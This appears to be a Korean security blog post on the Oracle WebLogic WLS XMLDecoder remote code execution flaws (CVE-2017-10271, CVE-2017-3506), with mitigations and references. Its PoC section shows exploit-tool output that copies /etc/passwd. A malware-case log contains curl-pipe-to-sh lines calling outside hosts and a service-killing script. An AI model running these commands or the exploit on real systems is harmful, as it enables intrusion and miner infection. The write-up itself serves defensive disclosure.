Oracle WebLogic WLS Security Component Remote Code Execution
(CVE-2017-10271, CVE-2017-3506)
1. 개요
- Oracle WebLogic WLS 내에 원격 코드 실행 취약점 존재
- Oracle WebLogic에서 xml 디코드를 처리하는 방식의 문제점 존재
- 공격자가 조작 된 XML 페이로드를 전송하여 원격 코드 실행(RCE)을 초래할 수 있는 XML 공격으로 구성
- 해당 공격이 성공하면 원격 코드 실행 가능
2. 영향받는 버전
- WebLogic Server 10.3.6.0.0
- WebLogic Server 12.1.3.0.0
- WebLogic Server 12.2.1.1.0
- WebLogic Server 12.2.1.2.0
3. 릴리즈 일자
- CVE-2017-3506 : 2016/12/06
- CVE-2017-10271 : 2017/06/21
4. 대응방안
4.1 Weblogic wls-wsat component 미 사용 시 삭제
rm -f /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
4.2 WAF에서 URL 차단
/wls-wsat/CoordinatorPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11
4.3 2017년 10월 Oracle Critical Patch Update
http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html
5. 참고자료
- CVE-2017-3506 : http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-3506
- CVE-2017-10271 : http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-10271
- Oracle Critical Patch Update Advisory - April 2017 : http://www.oracle.com/technetwork/security-advisory/cpuapr2017-3236618.html
- Oracle Critical Patch Update Advisory - October 2017 : http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html
- https://www.ren-isac.net/public-resources/alerts/REN-ISAC_ADVISORY_Oracle_WebLogic_Vulnerability_Bitcoin_Miner_Attacks_20180105v1.pdf
6. POC(Proof Of Concept)
6.1 Victim 환경
- CentOS 6 x64
- Weblogic 11g : WebLogic Server 10.3.6.0
- Java : jdk1.7.0_80
6.2 Attacker 환경
- CentOS 6 x64
6.3 취약점 scanning
[root@localhost weblogic]# ./exploit_scan.py http://192.168.0.100:7001/ [*] Scanning http://192.168.0.100:7001/ <h1>Web Services</h1> [*] Potential Vuln: http://192.168.0.100:7001/ |
6.4 취약점 공격 (exploit)
[root@localhost weblogic]# ./exploit.py http://192.168.0.100:7001/ Eneter your command here: cp /etc/passwd /tmp/passwd Command Executed |
6.5 취약점 공격 실행 결과 확인
[wls@localhost root]$ cd /tmp [wls@localhost tmp]$ ls -al passwd -rw-r----- 1 wls wls 4156 1▒▒ 4 14:19 passwd [wls@localhost tmp]$ cat passwd root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin ... |
6.6 Log 확인
- scanning과 exploit에 대한 weblogic에서 어떠한 로그도 발견되지 않음 - 서버의 장애 상황이나 비트코인 miner 와 같은 공격자의 흔적이 없으면 발견하기 어려움 |
6.7 악용예제
- 해당 취약점이 존재하는 WAS 서버에 중국 해커로 추정되는 공격자에 의하여 비트 코인 채굴기 (miner) 동작 및 정상 서비스를 방해는 쉘 스크립트 동작 수행
$ ps -ef | grep wls ... wls 17510 17506 0 18:34 ? 00:00:00 /bin/sh -c curl http://198.xxx.xxx.73/2 | sh wls 13771 1 99 01:54 ? 1-17:17:07 /tmp/xfsallocd -B ... $ crontab -l */1 * * * * curl http://216.xxx.xxx.227/js/2 | sh */1 * * * * /tmp/fs.sh $ cat /tmp/fs.sh #!/bin/sh pkill -9 atd pkill -f atd pkill -f polkitd pkill -f http pkill -f httpd ... |
※ 국내에서 해당 취약점은 miner를 구동하기 위하여 주로 코이너들이 활용하고 있으며, 개인정보 유출/시스템 파괴/2차 공격을 위한 흔적 삭제 등의 피해는 잘 보고되지 않고 있음
'Vulnerability' 카테고리의 다른 글
[Apache Struts] Apache Struts2 취약점 CVE-2016-4438 (S2-037) 개요 및 실습 (0) | 2018.03.21 |
---|---|
Oracle WebLogic Server Remote Security Vulnerability (CVE-2015-4852, CVE-2016-3510) (0) | 2018.03.19 |
[Apache Struts] Apache Struts2 취약점 CVE-2017-5638(S2-045) 개요 및 실습 (0) | 2018.01.17 |
[취약점 신고] K정보원 기능 수준의 접근통제 누락 (201505, 기관요청 비공개) (0) | 2017.05.09 |
[취약점 신고] N사 XSS 취약점 신고 #3 (0) | 2017.04.01 |